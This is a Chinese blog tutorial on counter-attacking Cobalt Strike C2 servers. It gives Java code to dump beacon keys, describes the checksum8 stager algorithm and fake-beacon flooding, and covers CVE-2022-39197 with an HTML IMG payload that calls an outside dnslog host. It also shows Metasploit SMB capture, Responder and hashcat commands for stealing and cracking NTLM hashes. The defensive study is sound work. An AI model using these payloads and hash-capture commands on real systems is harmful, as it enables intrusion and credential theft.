Cobaltstrike反制方法小結(jié)

本文僅作為學(xué)習(xí)記錄,如有侵權(quán),請聯(lián)系刪除!

0x01 批量偽裝上線:


以HTTP Beacon為例,在CS的上線過程中,有一串很明顯的加密Cookie,是非對稱RSA加密類型,需要一個(gè)私鑰Private Key才能對其進(jìn)行解密,實(shí)際情況里我們并拿不到

可以利用以下代碼來提取Private Key與Public Key:

import java.io.File;
import java.util.Base64;
import common.CommonUtils;
import java.security.KeyPair;

class DumpKeys
{   
    public static void main(String[] args)
    {
        try {
            File file = new File(".cobaltstrike.beacon_keys");
            if (file.exists()) {
                KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null);
                System.out.printf("Private Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())));
                System.out.printf("Public Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())));
            }
            else {
                System.out.println("Could not find .cobaltstrike.beacon_keys file");
            }
        }
        catch (Exception exception) {
           System.out.println("Could not read asymmetric keys");
        }
    }
}

把這個(gè)java文件放置在CS服務(wù)器的CS文件夾下,在JDK11版本下運(yùn)行:

java -cp cobaltstrike.jar Dumpkeys.java

繼續(xù)沿著思路展開,數(shù)據(jù)包中的核心是加密后的Cookie,那么我們能否進(jìn)行偽造,達(dá)到假主機(jī)上線的效果。

上線包的請求Cookie值是受控主機(jī)元數(shù)據(jù)經(jīng)過非對稱加密后的密文,CS服務(wù)器接收到Cookie值后進(jìn)行解密從而獲取到受控主機(jī)信息。受控主機(jī)元數(shù)據(jù)包含了若干敏感信息:

HTTP型Beacon 上線包的核心在于Cookie,Cookie是對受控主機(jī)元數(shù)據(jù)的非對稱加密的密文

一般攻擊者會(huì)自定義Malleable C2 Profile修改默認(rèn)流量特征,這里以jQuery為例,嘗試通過重放數(shù)據(jù)包,觀察Server是否成果響應(yīng)了我們的請求,last是否被重制為1s

但這里有個(gè)限制,只能偽造已經(jīng)上線的主機(jī),不能偽造新的受控主機(jī)。但若我們了解上線的整個(gè)過程,數(shù)據(jù)是如何被加密的,就有可能在短時(shí)間內(nèi)大量偽造假主機(jī)上線。

以Stager型Beacon為例,回顧下CS上線流程:

  • 攻擊者利用CS Server生成新的Beacon監(jiān)聽(包括一對非對稱公私鑰)并生成Stager;
  • 攻擊者投遞Stager到受控主機(jī);
  • 受控主機(jī)在Exploit階段執(zhí)行小巧的Stager;
  • 受控主機(jī)根據(jù)Stager Url請求特征向Beacon Staging Server下載體積較大更復(fù)雜的Stage到本地,Beacon Staging Server會(huì)校驗(yàn)Url的合法性;
  • Stage解密并解析Beacon配置信息(比如公鑰PublicKey、C2 Server信息);
  • Stage通過公鑰PublicKey加密主機(jī)的元數(shù)據(jù)并發(fā)送至C2 Server;
  • C2 Server用私鑰解密數(shù)據(jù)獲取主機(jī)元數(shù)據(jù)。

其中核心在于兩個(gè)部分:Stager Url校驗(yàn)算法、Beacon配置的解密算法

  • Stager Url校驗(yàn)算法:

關(guān)鍵函數(shù)包括:checksum8、MSFURI、isStager
MSFURI函數(shù)從大小寫字母+數(shù)字的字符數(shù)組中隨機(jī)指定長度的字符序列并調(diào)用checksum8函數(shù)計(jì)算字符序列的ASCII和與256的模是否等于固定值(32位Stage與64位Stage分別使用92、93作為固定值)

也就是說,我們可以通過生成4位的隨機(jī)校驗(yàn)碼,通過checksum8算法獲取文件,這里以7vv9為例:55+118+118+57-256=92

  • Beacon配置的解密算法:

利用以下幾個(gè)項(xiàng)目進(jìn)行解密:
https://github.com/Sentinel-One/CobaltStrikeParser
https://blog.didierstevens.com/2021/06/15/update-1768-py-version-0-0-7/

Public key別忘了要?jiǎng)h點(diǎn)后面的無效Padding
正確的格式是MIGfXXXXXXXXXXXXXXXX==,后面那一堆AAAAA要?jiǎng)h掉
注意:第二個(gè)項(xiàng)目解出來的是十六進(jìn)制字符串,無法還原成原始字符串,菜是原罪

從解密數(shù)據(jù)中獲取到PublicKey和C2 Server地址

最后就是偽造上線了,利用項(xiàng)目地址:
https://github.com/LiAoRJ/CS_fakesubmit
https://github.com/hariomenkel/CobaltSpam

由于紅隊(duì)會(huì)使用各式各樣的C2 Profile來混淆通信流量,需要根據(jù)捕獲到的C2上線流量或者根據(jù)Beacon配置解密信息對代碼進(jìn)行適當(dāng)修改,以jQuery Profile為例,需要對請求頭進(jìn)行補(bǔ)充:

實(shí)戰(zhàn)環(huán)境下可以寫循環(huán)語句,不停模擬上線操作,讓攻擊者即使能夠上線也無法執(zhí)行命令

實(shí)現(xiàn)效果圖:

  • 紅隊(duì)防御措施:

修改CS代碼上述2種算法的邏輯,阻止虛假主機(jī)上線和C2挖掘

0x02 CVE-2022-39197:


該漏洞允許攻擊者通過在Beacon配置中設(shè)置假用戶名,觸發(fā)XSS,進(jìn)而在 CS Server上造成遠(yuǎn)程代碼執(zhí)行。

影響版本:Cobalt Strike <= 4.7

漏洞的本質(zhì)是swing html的問題,在內(nèi)容的開頭插入<html>標(biāo)簽后續(xù)的內(nèi)容就會(huì)被格式化為html文檔進(jìn)行解析,但很多標(biāo)準(zhǔn)標(biāo)簽在swing這個(gè)場景里或多或少都受到一些功能限制

利用上述的CS偽造上線的腳本:CS_fakesubmit
把user字段改為<HTML><IMG SRC=http://xxx.dnslog.cn/1.jpg>,當(dāng)圖片不在的話,就會(huì)顯示斷裂

補(bǔ)充:還會(huì)存在一定的拒絕服務(wù)的效果,攻擊之后再操作CS客戶端會(huì)非???/p>

這里利用的話可以通過劫持ntlm-hash,然后利用hastcat等工具破解密碼,以MSF為例:

use auxiliary/server/capture/smb
run

發(fā)送payload后,成功獲取到ntlm-hash:

以Responder為例:python3 Responder.py -I eth0,成功了一次,后面都失敗了。。。

hashcat破解成功獲取密碼:hashcat -m 5600 SWS::SWS-PC:303b0cd3404fabc9:8cd2c75c6ebe62df193c9fc5b0..... pass.txt

后續(xù)在VPS上復(fù)現(xiàn)的時(shí)候,發(fā)現(xiàn)國內(nèi)廠商基本都禁止445端口開放到互聯(lián)網(wǎng),嘗試本地端口轉(zhuǎn)發(fā)也不行,那么劫持ntlm-hash這條路似乎就走不通了,萌新求帶

參考如下:


反擊CobaltStrike(一) 以假亂真 - SecPulse.COM | 安全脈搏
奇安信攻防社區(qū)-CS反制之批量偽裝上線
cobaltstrike RCE-part1
域內(nèi)竊取哈希一些技術(shù)

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
禁止轉(zhuǎn)載,如需轉(zhuǎn)載請通過簡信或評論聯(lián)系作者。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容